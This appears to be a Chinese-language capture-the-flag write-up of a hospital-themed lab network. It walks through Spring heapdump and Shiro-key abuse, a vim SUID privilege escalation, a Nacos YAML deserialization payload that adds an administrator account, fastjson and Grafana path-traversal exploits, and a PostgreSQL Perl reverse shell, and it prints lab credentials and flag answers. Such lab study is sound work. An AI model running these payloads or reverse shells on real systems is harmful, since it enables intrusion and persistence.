信息收集
fscan
yakit
Flag01
Springboot heapdump
发现一个登录页面,账户admin之后密码爆破就能登入后台,发现后台没啥用
发现poc,从网上搜一下(其实yakit已经告诉漏洞了)
Springboot之actuator配置不当的漏洞利用 - FreeBuf网络安全行业门户
访问/actuator,获取敏感信息
存在heapdump文件, 下载下来利用工具分析
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
得到shiro的key了
GAYysgMQhG7/CzIJlVpR2g==
之后利用工具梭一下
成功反弹shell,suid提权看一下
之后可以利用vim.basic提权
vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
/usr/bin/vim.basic /root/flag/flag01.txt
flag{3546942d-8b4d-4258-bda5-3565143809be}
Flag02
nacos yaml反序列化
传代理与fscan
(icmp) Target 172.30.12.5 is alive
(icmp) Target 172.30.12.6 is alive
(icmp) Target 172.30.12.236 is alive
[*] Icmp alive hosts len is: 3
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.6:8848 open
172.30.12.236:8080 open
172.30.12.236:8009 open
172.30.12.5:8080 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=A8F2778F597BFAD175E7A2A57286565D
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=A8F2778F597BFAD175E7A2A57286565D code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file
只有一台Windows主机
发现有nacos的poc
Alibaba Nacos权限认证绕过漏洞复现 - FreeBuf网络安全行业门户
根据上文的步骤进行添加用户
成功登入后台,之后先利用nacos一把梭工具搞一下,发现打不了
之后从网上找poc,应该就是Yaml反序列化了
下载后打包为jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
之后利用我们的另一个nacos一把梭工具,打一下yaml反序列化
查看dataid以及group
测试了一下,发现机子不出网,利用入口机做一个http服务
把我们的yaml-payload.jar上传
发现是可以打通的,这里需要修改一下我们的jar包,jar包中的poc默认是calc
修改为添加用户
net user test 1234qwer! /add
net localgroup administrators test /add
之后RDP登录
xiaorang.lab\test
1234qwer!
得到flag2
flag{8ced9339-de45-4d8e-8265-c92c13bd4779}
Flag03
fastjson反序列化
之后看一下另外的一个登录页面
http://172.30.12.236:8080/
yakit+dirsearch扫一下目录
看一下/docs接口,发现一个tomcat的文档
从网上搜一下这个版本的洞,发现存在文件包含漏洞
从网上找到的poc只能打文件包含,无法getshell,需要有文件上传的地方,尝试弱口令爆破后台,无果
F12看了一眼源码,发现是Json解析的,可以尝试打一下fastjson
如果是Fastjson,不完整的时候会报错显示Fastjson
之后利用工具
也可以利用BP外置插件
Release Frist release · amaz1ngday/fastjson-exp (github.com)
flag{16892796-f4cb-4207-b35e-7879cf6a9a9e}
Flag04
grafana 目录穿越CVE+postgre数据库getshell
利用刚刚注入的java内存马getshell
之后利用openssl生成一个root密码修改
finalshell走个代理连接
看一下配置
双网卡
传个fscan开扫(这里需要通过入口机起python服务)
./fscan -h 172.30.54.0/24
start infoscan
(icmp) Target 172.30.54.179 is alive
(icmp) Target 172.30.54.12 is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:8009 open
172.30.54.12:22 open
172.30.54.12:5432 open
172.30.54.179:22 open
172.30.54.179:8080 open
172.30.54.12:3000 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana
发现有一个Grafana
之后再二次代理,我这里是iox+frp
frp主要注意proxifier这里设置的targethost,我一开始做着做着忘了双网卡了。。。。
弱口令登录
admin/admin
进去乱翻,发现一个PostgreSQL数据库,修改一下密码,发现应该是修改不了的
从网上搜一下grafana关于postgres数据库的CVE
Grafana文件读取漏洞(CVE-2021-43798)-阿里云开发者社区 (aliyun.com)
发现只要是Grafana 8.x 系列均存在该漏洞
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
这边手动翻了翻grafana的配置文件,只找到了secretkey,继续从网上找,发现有一个工具直接能梭
得到post
这里跑出来的是因为我修改了密码,但是好像没有修改成功,后来重置靶机得到正常的密码
Postgres@123
之后navicat连接
从网上找点反弹shell语句,之后执行语句,反弹shell
反弹到web3机子
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
之后提权
sudo提权
这里执行的时候发现psql登录需要一个密码
ALTER USER root PASSWORD '1234qwer!' ;
之后按照上面提权的提示
flag{dc6cec12-a82e-4d53-a0c1-39f4554bbfc7}